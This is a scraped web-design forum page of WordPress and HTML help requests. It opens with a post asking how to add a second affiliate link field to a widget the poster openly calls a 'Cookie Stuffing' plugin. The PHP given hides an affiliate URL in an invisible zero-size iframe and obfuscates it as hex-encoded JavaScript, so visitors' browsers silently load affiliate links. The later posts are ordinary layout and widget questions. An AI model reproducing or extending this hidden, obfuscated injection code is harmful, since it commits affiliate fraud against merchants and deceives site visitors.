HTML - Help Needed With Wordpress Widget
I have a wordpress widget I have been using. It is for Cookie Stuffing and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code:
Code: // We're putting the plugin's functions in one big function we then // call at 'plugins_loaded' (add_action() at bottom) to ensure the // required Sidebar Widget functions are available. function widget_getcookie_init() { // Check to see required Widget API functions are defined... if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') ) return; // ...and if not, exit gracefully from the script. // This function prints the sidebar widget--the cool stuff! function widget_getcookie($args) { // $args is an array of strings which help your widget // conform to the active theme: before_widget, before_title, // after_widget, and after_title are the array keys. extract($args); // Collect our widget's options, or define their defaults. $options = get_option('widget_getcookie'); //$title = empty($options['title']) ? 'My Widget' : $options['title']; $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text']; // It's important to use the $before_widget, $before_title, // $after_title and $after_widget variables in your output. echo $before_widget; // echo $before_title . $title . $after_title; // this where to put output $string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>"; $hex_string = bin2hex($string); $code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>"; echo $code; // end output echo $after_widget; } // This is the function that outputs the form to let users edit // the widget's title and so on. It's an optional feature, but // we'll use it because we can! function widget_getcookie_control() { // Collect our widget's options. $options = $newoptions = get_option('widget_getcookie'); // This is for handing the control form submission. if ( $_POST['getcookie-submit'] ) { // Clean up control form submission options $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title'])); $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url'])); } // If original widget options do not match control form // submission options, update them. if ( $options != $newoptions ) { $options = $newoptions; update_option('widget_getcookie', $options); } // Format options as valid HTML. Hey, why not. $title = htmlspecialchars($options['title'], ENT_QUOTES); $text = htmlspecialchars($options['text'], ENT_QUOTES); // The HTML below is the control form for editing options. ?> <div> <!-- <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> --> <p>Make sure you use http:// in your url!</p> <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label> <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" /> </div> <?php // end of widget_getcookie_control() } // This registers the widget. About time. register_sidebar_widget('Get Cookie', 'widget_getcookie'); // This registers the (optional!) widget control form. register_widget_control('Get Cookie', 'widget_getcookie_control'); } // Delays plugin execution until Dynamic Sidebar has loaded first. add_action('plugins_loaded', 'widget_getcookie_init'); ?> I believe this is where I need to be looking... Code: // The HTML below is the control form for editing options. ?> <div> <!-- <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> --> <p>Make sure you use http:// in your url!</p> <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label> <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" /> </div> <?php // end of widget_getcookie_control() } I would be very greatful if anyone could help me out. Similar TutorialsHello, first post. HELLO! my video widget playlist on my index is a different size on my index.php but the correct size throughout the rest of my site. Its quite annoying, can anyone shed any light on this issue? thanks. http://www.brewrecords.net HTML Code: <?php get_header(); ?> <div id="content"> <div id="homepagetop"> <div class="textbanner"> <?php $recent = new WP_Query("cat=" .ot_option('hp_top_cat'). "&showposts=1"); while($recent->have_posts()) : $recent->the_post();?> <h3><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h3> <?php endwhile; ?> </div> <div id="homeslider"> <?php include(TEMPLATEPATH."/includes/slider.php");?> </div> <div class="homewidgets"> <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Homepage Top Right') ) : ?> <div class="widget"> <h4>Widget Area</h4> <p>This section is widgetized. To add widgets here, go to the <a href="<?php echo admin_url(); ?>widgets.php">Widgets</a> panel in your WordPress admin, and add the widgets you would like to <strong>Homepage Top Right</strong>.</p> <p><small>*This message will be overwritten after widgets have been added</small></p> </div> <?php endif; ?> </div> </div> <div id="homepage"> <?php include(TEMPLATEPATH."/sidebar_left.php");?> <div class="homepagemid"> <h3><?php echo cat_id_to_name(ot_option('hp_mid_cat')); ?></h3> <?php $recent = new WP_Query("cat=" .ot_option('hp_mid_cat'). "&showposts=" .ot_option('hp_mid_num') ); while($recent->have_posts()) : $recent->the_post();?> <div class="homepagecontent"> <a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail( 'home-thumbnail' ); ?></a> <h4><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h4> <?php the_excerpt(); ?> </div> <?php endwhile; ?> </div> <?php include(TEMPLATEPATH."/sidebar_right.php");?> </div> </div> <!-- The main column ends --> <?php get_footer(); ?> Hi folks, I'm trying to achieve something in a wordpress widget, but no good result so far. Please have a look at the image. My problem is that I cant separate text from the image on the right side. Cant give the space between "vivamus lectus" and the "venenatis tempus..." And cant separate social icons on bottom without using a table. I'm coding it with normal html, no css. Can you please help me out? thanks Hello, I am looking to add a weather widget to my website. Basically the website has several 100 profiles which all have a different city and country. I was wondering if there is a widget that I could add into these profiles which automatically find the weather update of that profile according to its city and country and if possible also display climate information for the year. Any help? Thanks, Sunny Comments on this post Mandarin disagrees: Duplicate topic: http://www.htmlforums.com/multimedia-elements/t-weather-widget-141305.html I'm wondering if anyone know any good RSS Widgets that I can integrate into my website. All the ones I've come across usually just display 3 or 4 and then loop back to the beginning. Anything out there that's really good? First of all hope this is the right forum. I need to know how to wrap text so it flows around this twitter widget that I would like to place on my site in the center of page http://knowingabout.co.uk/bestinhulme/index.html. I have tried the usual way for an image but it doesnt seem to work. Below is a image and below that the actual code. <div id="twtr-search-widget"></div> <script src="http://widgets.twimg.com/j/1/widget.js"></script> <link href="http://widgets.twimg.com/j/1/widget.css" type="text/css" rel="stylesheet"> <script> new TWTR.Widget({ search: 'Manchester', id: 'twtr-search-widget', loop: true, title: 'Who\'s tweeting about...', subject: 'Manchester', width: 250, height: 280, theme: { shell: { background: '#887640', color: '#ffffff' }, tweets: { background: '#f3d2a5', color: '#444444', links: '#1985b5' } } }).render().start(); </script> Thx in advance Hi everyone, Basically I want to add 3 tickers from this site: http://www.worldometers.info to my page. I've tried viewing the page source and copying but having some issues. Let's say I want to add the "CO2 emissions this year (tons)" ticker; what is the code I need please? Any help is much appreciated. Thank you! I have a song widget HTML and this widget keeps loading at every page. I want it to load just once and then just remain there for each page. Don't want it to reload on each page but cannot figure it out. Here is the coding <embed type="application/x-shockwave-flash" src="http://cache.reverbnation.com/widgets/swf/40/pro_widget.swf" bgcolor="#ffffff" loop="false" wmode="transparent" quality="best" allowscriptaccess="always" allownetworking="all" allowfullscreen="true" seamlesstabbing="true" flashvars="id=artist_884037&posted_by=artist_884037&skin_id=PWAS1008&font_color=333333&auto_play=tru e&shuffle=true" width="262" align="top" height="200"><br><img style="visibility: hidden; width: 0px; height: 0px;" src="http://www.reverbnation.com/widgets/trk/40/artist_884037/artist_884037/t.gif" width="0" border="0" height="0"><img src="http://a.triggit.com/px?u=reverbnation&rtv=884037wd,Folk,Electronica%2FPolitical,New%20Age" width="1" border="0" height="1"> I am practicing on a test website. You can see it at the site as well http://childsplay.storesecured.com Is there a way to keep it from reloading on each page and just load once ? When you go to http://boingboing.net/ and scroll down, you will eventually see "Buy our skull cap T-Shirt" followed by a banner ad below it. As you continue scrolling down, this information on the sidebar never leaves the screen. Would anyone know of a snippet of code that I could add to my Wordpress blog to replicate this feature? Thank you Hi. I've been trying and failing at wrapping text around a mixpod playlist widget. [The widget is in a draft post I'm working on in a blog, not installed as a sidebar gadget.] I'm not technical, and the widget is "flash" technology which befuddles me even further. Fiddling with <div> and "align" codes, I was able to type in text next to the widget, but only in the editor page of Blogger...once I previewed or published it, the text appeared below the widget. I would very much appreciate anyone's ideas. The widget code is: <embed border="0" flashvars="mycolor=5C1400&mycolor2=baac8f&mycolor3=450101&autoplay=false&rand=0& f=4&vol=100&pat=0&grad=false" height="382" name="myflashfetish" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" salign="TL" src="http://assets.mixpod.com/swf/mp3/mff-nano.swf?myid=76126179&path=2011/01/26" style="height: 382px; visibility: visible; width: 165px;" type="application/x-shockwave-flash" width="165" wmode="transparent"></embed> Thank you. Trying to install a JQuery slider in my site. When I try to install it in Dreamweaver using the widget browser I get a error (picture attached) I am a noob and just dabbeling a little bit but any help would be greatly appreciated. I opted to use this slider because it it clickable and linkable but if there was a better way to do it I would be up for suggestions. I opted to use the Flexslider in the Dreamweaver widgets. But this code error has something to do with the inner workings of DW. All the other widgets I have installed on this site work fine. Thanks in advance. Hi, I'd really like to put an MP3 player on my website to play music mixes, but I'd like it so that even if someone goes to another part of the site, the music keeps on playing, Like Reverbnation have... http://www.reverbnation.com/ Can I take the code from their site or do I need to start from scratch? Given that Reverbnation supply the widget to put your music in, I'd just need the ability to have it keep playing even when someone links to another part of the site. Thanks! I am having trouble with a link in a widget on my blogger blog. The widget is titled "NQTC Followers" The words "Follow This Blog" leads to a blank screen. The link is "javascript:_FollowersView._openPopup("http://www.blogger.com/follow-blog.g?blogID=7259025587922523478");" When I click that its just blank, so I jsut want it to link to "http://www.blogger.com/follow-blog.g?blogID=7259025587922523478". I can't seem to figure out how to edit the HTML though to change the link from the first thing to the second thing. Here is what the HTML shows for this widget: Code: <b:widget id='Followers1' locked='false' title='NQTC Followers' type='Followers'> <b:includable id='main'> <b:if cond='data:title != ""'> <b:if cond='data:codeSnippet != ""'> <h2 class='title'><data:title/></h2> <b:else/> <h2 class='title'><data:title/> (<data:totalFollowerCount/>)</h2> </b:if> </b:if> <div expr:id='data:widget.instanceId + "-wrapper"'> <b:if cond='data:codeSnippet != ""'> <data:codeSnippet/> <b:else/> <b:if cond='data:followingLinkPresent'> <div class='follow-this profile-link item-control following-follow-this'> <a expr:href='"javascript:_FollowersView._openPopup(\"" + data:followUri + "\");"'> <data:followThisMessage/> </a> </div> <div class='follow-this profile-link item-control following-stop-following-this'> <a expr:href='"javascript:_FollowersView._openPopup(\"" + data:followUri + "\");"'> <data:stopFollowingMessage/> </a> </div> </b:if> <div class='followers-grid'> <b:if cond='data:totalFollowerCount == 0'> <div class='profile-link item-control following-follow-this'> <data:emptyFollowersMessage/> </div> </b:if> <!-- Relies on the js written out in navbar.gxp --> <b:loop values='data:followers' var='follower'> <div class='follower'> <a expr:href='data:follower.profileUrl' expr:title='data:follower.displayName' rel='nofollow'> <img class='follower-img' expr:alt='data:follower.displayName' expr:height='data:follower.imageHeight' expr:onerror='"this.onerror=null;this.src=\"" + data:anonFollowerImageUrl + "\";"' expr:onload='"setAttributeOnload(this, \"src\", \"" + data:follower.imageUrl + "\")"' expr:width='data:follower.imageWidth' src='http://img1.blogblog.com/img/blank.gif'/> </a> </div> </b:loop> <div class='clear'/> </div> <div class='followers-canvas profile-link'> <data:followersFooterMessage/> <span class='item-control following-not-admin'> <a expr:href='data:followersUri'> <data:viewAllMessage/> </a> </span> <span class='item-control blog-admin'> <a expr:href='data:manageFollowersUri'> <data:manageFollowersMessage/> </a> </span> </div> </b:if> <b:include name='quickedit'/> </div> </b:includable> </b:widget> Hi guys, I need a little help with something thats seems pretty easy but for some reason i can't get it to work. this is my website: www.theblindtaste.com what i would like to do is to reverse the order of the posts shown on the sidebar_left.php. as it is i feel it is a little repetitive since 2 of the same posts are featured in the middle of the page. this is the sidebar_left.php code: ------------------------------------------------------------------------- <!-- begin r_sidebar --> <div id="sidebar_left"> <h4 class="featuredtitle"><?php echo cat_id_to_name(ot_option('hp_side_cat')); ?></h4> <?php $recent = new WP_Query("cat=" .ot_option('hp_side_cat'). "&showposts=" .ot_option('hp_side_num') ); while($recent->have_posts()) : $recent->the_post();?> <div class="sidecontent"> <a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail( 'home-side' ); ?></a> <h4><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h4> <?php the_content_limit(50, ""); ?> <a class="morelink" href="<?php the_permalink() ?>" rel="bookmark"><?php _e("Read More", 'organicthemes'); ?></a> <div class="clear"></div> </div> <?php endwhile; ?> <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Left Sidebar') ) : ?> <div class="widget"> <h4>Widget Area</h4> <p>This section is widgetized. To add widgets here, go to the <a href="<?php echo admin_url(); ?>widgets.php">Widgets</a> panel in your WordPress admin, and add the widgets you would like to <strong>Left Sidebar</strong>.</p> <p><small>*This message will be overwritten after widgets have been added</small></p> </div> <?php endif; ?> ------------------------------------------------ thank you for your help ! tbt Basically I want to put this page "http://3d-story.com/Old-Afgan.html" into a 3rd party widget. When I place this 3rd party widget on my page I can scale the widget frame to any size I want, but the page within it doesn't scale. Looks like this "http://www.wix.com/mettam/test" What code do I need to put into my HTML code so that it will scale to the frame of the widget ? Here is an example of my code with in the widget. Code: <html> <head> <title>Old Afgan</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- ImageReady Preload Script (Old Afgan.jpg) --> <script type="text/javascript"> <!-- function newImage(arg) { if (document.images) { rslt = new Image(); rslt.src = arg; return rslt; } } function changeImages() { if (document.images && (preloadFlag == true)) { for (var i=0; i<changeImages.arguments.length; i+=2) { document[changeImages.arguments[i]].src = changeImages.arguments[i+1]; } } } var preloadFlag = false; function preloadImages() { if (document.images) { Old_Afgan_03_over = newImage("images/Old-Afgan_03-over.gif"); preloadFlag = true; } } // --> </script> <!-- End Preload Script --> </head> <body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="preloadImages();"> <!-- ImageReady Slices (Old Afgan.jpg) --> <table id="Table_01" width="977" height="695" border="0" cellpadding="0" cellspacing="0"> <tr> <td colspan="3"> <img src="http://3d-story.com/images/Old-Afgan_01.gif" width="977" height="82" alt=""></td> </tr> <tr> <td rowspan="2"> <img src="http://3d-story.com/images/Old-Afgan_02.gif" width="190" height="613" alt=""></td> <td> <a href="#" onmouseover="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;" onmouseout="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03.gif'); return true;" onmousedown="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;" onmouseup="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;"> <img name="Old_Afgan_03" src="images/Old-Afgan_03.gif" width="497" height="251" border="0" alt=""></a></td> <td rowspan="2"> <img src="http://3d-story.com/images/Old-Afgan_04.gif" width="290" height="613" alt=""></td> </tr> <tr> <td> <img src="http://3d-story.com/images/Old-Afgan_05.gif" width="497" height="362" alt=""></td> </tr> </table> <!-- End ImageReady Slices --> </body> </html> at least10 I have a WP blog with Elements of Style template. I'm looking ot put information on the bottom of each content area I create. I am at a loss to figure out which of the files to edit. [IMG]editwordpress.jpg[/IMG] I am using wordpress. This is my layout http://ruriko.newsit.es/. Why is there a "dir="ltr">" ontop of the header? my footer isn't looking right it has 2 background colours and I only want the light blue one hey everyone not sure where this best goes but ill put it here i have been messing around with wordpress to see if i like it and how it works and such. I've ran into a problem and i cant seem to find an answer. When i write a post or page, and i want to add my own code, it ends up messing it up pretty bad. I go to write page and select the code view, then i put in sum code such as Code: <div class="title">Links</div> <div id="linksbox"> <ul id="linklist"> <li> <a href="#"><img src="images/test.jpg" alt="html" /> <div class="text"><h3>header</h3><p>this is some text that is a paragraph</p></div> </a> </li> <li><a href="#">Item two</a></li> <li><a href="#">Item three</a></li> <li><a href="#">Item four</a></li> <li><a href="#">Item five</a></li> </ul> </div> and when i view the page and view the source the code was outputted as this: and doesn't even work right: Code: <div class="title">Links</div> <div id="linksbox"> <ul id="linklist"> <li> <a href="#"><img src="images/test.jpg" alt="html" /></p> <div class="text"> <h3>header</h3> <p>this is some text that is a paragraph</p> </div> <p> </a> </li> <li><a href="#">Item two</a></li> <li><a href="#">Item three</a></li> <li><a href="#">Item four</a></li> <li><a href="#">Item five</a></li> </ul> </div> then i go back to edit the post and it looks like this Code: <p class="title">Links</p> <p id="linksbox"> <ul id="linklist"> <li> <a href="#"><img src="images/test.jpg" alt="html" /></a> <p class="text"> <h3><a href="#">header</a></h3> <a href="#">this is some text that is a paragraph</a> <a href="#"> </a></li> <li><a href="#">Item two</a></li> <li><a href="#">Item three</a></li> <li><a href="#">Item four</a></li> <li><a href="#">Item five</a></li> </ul> anyone know why this happens, or how to make it so it don't do that? Hello, i'm setting up a website on Wordpress and I want the following: 1. A static (non blog) contact page just like this http://i25.tinypic.com/29lmyo3.jpg 2. I want my blog postings to be archived in pages just like this: http://i30.tinypic.com/3004epj.jpg as opposed to scrolling down the whole page to see my posts. Is this a default feature in Wordpress or do I have to do something to make this happen to my posts? 3. My template only has one column, I would like to split it into two columns (http://i30.tinypic.com/3004epj.jpg) like this site, so I can have a place to put adverts etc. Thank you Hey! I've recently transfered my blog over to wordpress.org (from wordpress.com) and now have the ability to alter my template, but i need some help with a few things! The current widgets i have up i believe came across with the back up copy of my original blog, but they aren't mentioned within 'widgets' in my dashboard. I added a mailing list and I'm wanting it to appear under the search bar, i presume to do this i will need to alter the code, but i can't find where to edit the code as i added the mailing list box as a widget, and it hasn't seemed to appear within the code where all the other current widgets i have are displayed. Does anyone know how i can move the mailing list up higher?? Also, I'm wanting to create a 'home' page which directs back to the home page of my blog. I had this set-up on my previous blog where i set the title to the url. But i removed it as with the new template it directed to a new page, called home. I'm wondering if someone knows how i can set up a page that directs to the home page of my blog? And also, if it's possible to place the page at the front of my other pages. Ie. "Home : About : Recommended Reading". And not "About : Recommended Reading : Home". ? And one last thing! I'm wanting to add a Google search tool to the current search bar that's on my blog. I would like it to look the same, if thats possible(?) but have the option of searching my blog, or the web along with a small Google banner at the bottom. I'm unsure where i should add this code, as within the theme editor i have a section titled "search results" which is a fairly long php code, and i also have a small section within the "sidebar" section which says: <!-- Search --> <div id="sidebar-search"> <form method="get" id="searchform" action="<?php bloginfo('url'); ?>/"> <input type="text" value="<?php the_search_query(); ?>" name="s" id="s" /> <input type="submit" id="searchsubmit" value="" /> </form> </div> <!-- /Search --> Should i add the Google html code to that part? Or will i need to change the php code as well for it to work? Appreciate any help! www.nikkisblogspot.com |